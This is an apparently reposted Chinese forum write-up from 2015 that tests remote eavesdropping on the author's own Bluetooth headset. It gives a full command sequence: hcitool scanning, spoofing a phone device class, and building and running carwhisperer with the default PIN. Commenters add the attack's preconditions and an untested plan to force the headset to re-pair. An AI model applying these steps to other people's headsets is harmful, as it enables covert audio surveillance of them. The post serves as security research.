10

物理黑客:窃听蓝牙耳机小实验,手机蓝牙耳机渗透入侵,远程窃听音频

 3 years ago
source link: https://lcx.cc/post/4578/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client

物理黑客:窃听蓝牙耳机小实验,手机蓝牙耳机渗透入侵,远程窃听音频

2015-10-26 约 2137 字 预计阅读 5 分钟

窃听蓝牙耳机小实验

mramydnei | 2015-10-19 22:41

上周看了下Hirsch-Bluetooth-Device-Security-2015感觉里面的这段挺好玩的。

Scenarios (5)
Example #4: all Bluetooth speakers or headsets that
are auto-discoverable with HSP (headset) service
(most have this)
●
Eve walks down street listening for auto-
discoverable HSP devices (these are common!)
●
Eve notes that many well-to-do neighborhoods
have lots of these HSP devices left on 24/7, and
that Eve can pair remotely without local
confirmation, and listen to everything in the home
the microphone can pick up.

于是乎从网上买了个蓝牙耳机打算实验一下。

ELECOM HS10

产品名:ELECOM HS10

支持的协议:HFP/HSP

通信方式:蓝牙3.0

然后开始RTFM。发现默认PIN是0000,长按操作按钮5s后会进入到匹配模式。按照说明书长按5s进入到匹配模式后,开始借助pc扫描蓝牙设备

root@kali:~# hcitool scan
Scanning ...
28:52:E0:XX:XX:XX HS10

获取到蓝牙地址后,更改device class假装自己是一台手机:

service bluetooth restart
hciconfig hci0 up
hciconfig hci0 class 0x500204

确认更改生效

root@kali:~/carwhisperer-0.2# hciconfig -a
hci0: Type: BR/EDR Bus: USB
BD Address: A8:86:DD:XX:XX:XX ACL MTU: 1021:8 SCO MTU: 64:1
UP RUNNING
RX bytes:508634 acl:119 sco:9598 events:755 errors:0
TX bytes:212355 acl:132 sco:9486 commands:371 errors:0
Features: 0xbf 0xfe 0xcf 0xfe 0xdb 0xff 0x7b 0x87
Packet type: DM1 DM3 DM5 DH1 DH3 DH5 HV1 HV2 HV3
Link policy: RSWITCH SNIFF
Link mode: SLAVE ACCEPT
Name: 'kali'
Class: 0x500204
Service Classes: Object Transfer, Telephony
Device Class: Phone, Cellular
HCI Version: 4.0 (0x6) Revision: 0x22fc
LMP Version: 4.0 (0x6) Subversion: 0x416a
Manufacturer: Broadcom Corporation (15)

从此处下载carwhisperer-0.2并解压。

http://trifinite.org/Downloads/carwhisperer-0.2.tar.gz

make一下,然后修改makefile的两个坑,把cw_pin.sh替换成cw_pin.pl保存退出后make install一下

来完成安装。随后借助我们之前获取的蓝牙地址开始窃听目标耳机:

root@kali:~/carwhisperer-0.2# carwhisperer hci0 message.raw justatest00.raw 28:52:E0:XX:XX:XX
Voice setting: 0x0060
RFCOMM channel connected
SCO audio channel connected (handle 6, mtu 64)
got: AT+VGS=14
ansewered: OK
.
.

最后将窃听到的raw文件转成wav并播放。

root@kali:~/carwhisperer-0.2# play -t raw -r 8k -e signed -b 16 -c 1 justatest00.raw

justatest00.raw:

File Size: 91.8k Bit Rate: 128k
Encoding: Signed PCM
Channels: 1 @ 16-bit
Samplerate: 8000Hz
Replaygain: off
Duration: 00:00:05.74

In:100% 00:00:05.74 [00:00:00.00] Out:45.9k [ | ] Clip:0
Done.

测试成功。

PS:用ubertooth嗅探到的LAP+计算出来的UAP确实可以确认host是否online,不过没有NAP好像连接不了样子。感觉和网上说的不太一样。如果有知道的求告知 lol

[原文地址]

各种吐槽:

mango (待我乌币800万 姑娘嫁我可好) | 2015-10-19 22:47

mramydnei | 2015-10-19 22:52

@mango 我录一个加进去吧。

苦咖啡 | 2015-10-19 22:55

录制一个吧 看起来很好玩

mango (待我乌币800万 姑娘嫁我可好) | 2015-10-19 23:07

@mramydnei 恩恩~~这样最号~~

mramydnei | 2015-10-19 23:35

数据流 (| 1970-00-00 00:00) | 2015-10-20 00:26

“更改device class假装自己是一台手机”。 用伪装一词会不会更好呢。(·_·)

小手冰凉 | 2015-10-20 05:16

没看明白,攻击场景是什么?用自己的设备连上对方处于挂起状态的蓝牙耳机?

爱捣蛋的鬼 | 2015-10-20 10:41

是可以窃听戴的人周边的声音吗, 如果已经和手机对接上了,这个是不是就无效了

数据流 (| 1970-00-00 00:00) | 2015-10-20 11:18

@小手冰凉 首先要让别人处于未连接状态。

南哥 (<///////////////////////>) | 2015-10-20 12:16

白无常 | 2015-10-20 15:46

疯狗 (阅尽天下漏洞,心中自然无码。) | 2015-10-20 17:34

@mramydnei 可以这样理解不,这个演示是因为蓝牙耳机、话筒在未连接前提下是可以被发现的(蓝牙主动广播),然后客户端伪装成手机在用默认PIN 0000链接上去,麦克风就开始正常工作了,然后通过蓝牙栈开发的小程序记录下通信中的音频脉冲,最后重方。是这样子么?

mramydnei | 2015-10-20 18:18

@疯狗 是的,不过实战中应该还有很多坑需要去填。

余下的部分还在学习和测试当中

疯狗 (阅尽天下漏洞,心中自然无码。) | 2015-10-21 17:15

@mramydnei 嗯,看来理解无误,但影响还是挺大的,而且中间蓝牙协议的通信都是蛮好玩的部分,期待近期发个后续心得啊。如果没啥问题,俺最近也写点BLE安全的跟你凑凑热闹。

数据流 (| 1970-00-00 00:00) | 2015-10-21 17:32

@疯狗 狗哥也在研究ble呀?

mramydnei | 2015-10-21 17:41

@爱捣蛋的鬼 @小手冰凉

需要满足3个条件:

(1)知道目标设备的蓝牙地址

(2)需要保证目标设备处于没有和其它设备连接的状态

(3)知道pin code是多少

mango (待我乌币800万 姑娘嫁我可好) | 2015-10-21 17:48

@mramydnei 视频已被屏蔽

mramydnei | 2015-10-21 17:49

关于(2)如果目标耳机支持同时连接多台设备,应该不是必要条件

疯狗 (阅尽天下漏洞,心中自然无码。) | 2015-10-21 19:09

@数据流 是啊 ble便宜

insight-labs (Root Yourself in Success) | 2015-10-21 19:50

@mramydnei 有没有类似deauth攻击的方法强行解除配对……

mramydnei | 2015-10-21 22:00

@insight-labs

yes,如果假设蓝牙耳机是和手机连接的,那么手机端必须支持unpairing。

(1)获取蓝牙耳机的地址,将你的蓝牙地址更改成耳机的蓝牙地址

(2)jam掉原始的连接(手机和耳机之间的)

(3)现在给手机发送link layer connection,说老子把key弄丢了,怎么办?

(4)手机这个时候也许会说 居然你忘记了 那我们就再配对一次吧(总不能就这么把这个耳机给废了不是。。)

理论上是这么个流程吧。不敢打包票

mramydnei | 2015-10-21 22:03

@mango

屏蔽原因:按照相关规定,限制传播

《互联网信息服务管理办法》所严禁的九类信息

(一)反对宪法所确定的基本原则的;

(二)危害国家安全,泄露国家秘密,颠覆国家政权,破坏国家统一的;

(三)损害国家荣誉和利益的;

(四)煽动民族仇恨、民族歧视,破坏民族团结的;

(五)破坏国家宗教政策,宣扬邪教和封建迷信的;

(六)散布谣言,扰乱社会秩序,破坏社会稳定的;

(七)散布淫秽、色情、赌博、暴力、凶杀、恐怖或者教唆犯罪的;

(八)侮辱或者诽谤他人,侵害他人合法权益的;

(九)含有法律、行政法规禁止的其他内容的。

insight-labs (Root Yourself in Success) | 2015-10-21 22:10

视频传youtube

留言评论(旧系统):

佚名 @ 2015-11-10 14:07:25

楼主你的视频好像被和谐了

本站回复:

有可能被删了…… -_-!!!

佚名 @ 2016-04-09 16:47:20

66666666666666666666666666666666666

本站回复:

66666666666666666666666666666666666

佚名 @ 2016-04-21 15:51:12

请问在carwhisperer连接蓝牙耳机的时候出现 can't connect SCO audio channel!:Function not implemented 该怎么解决呢? (耳机是用的蓝牙4.1版本不知道有米有影响)

本站回复:

不太清楚,百度一下。


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK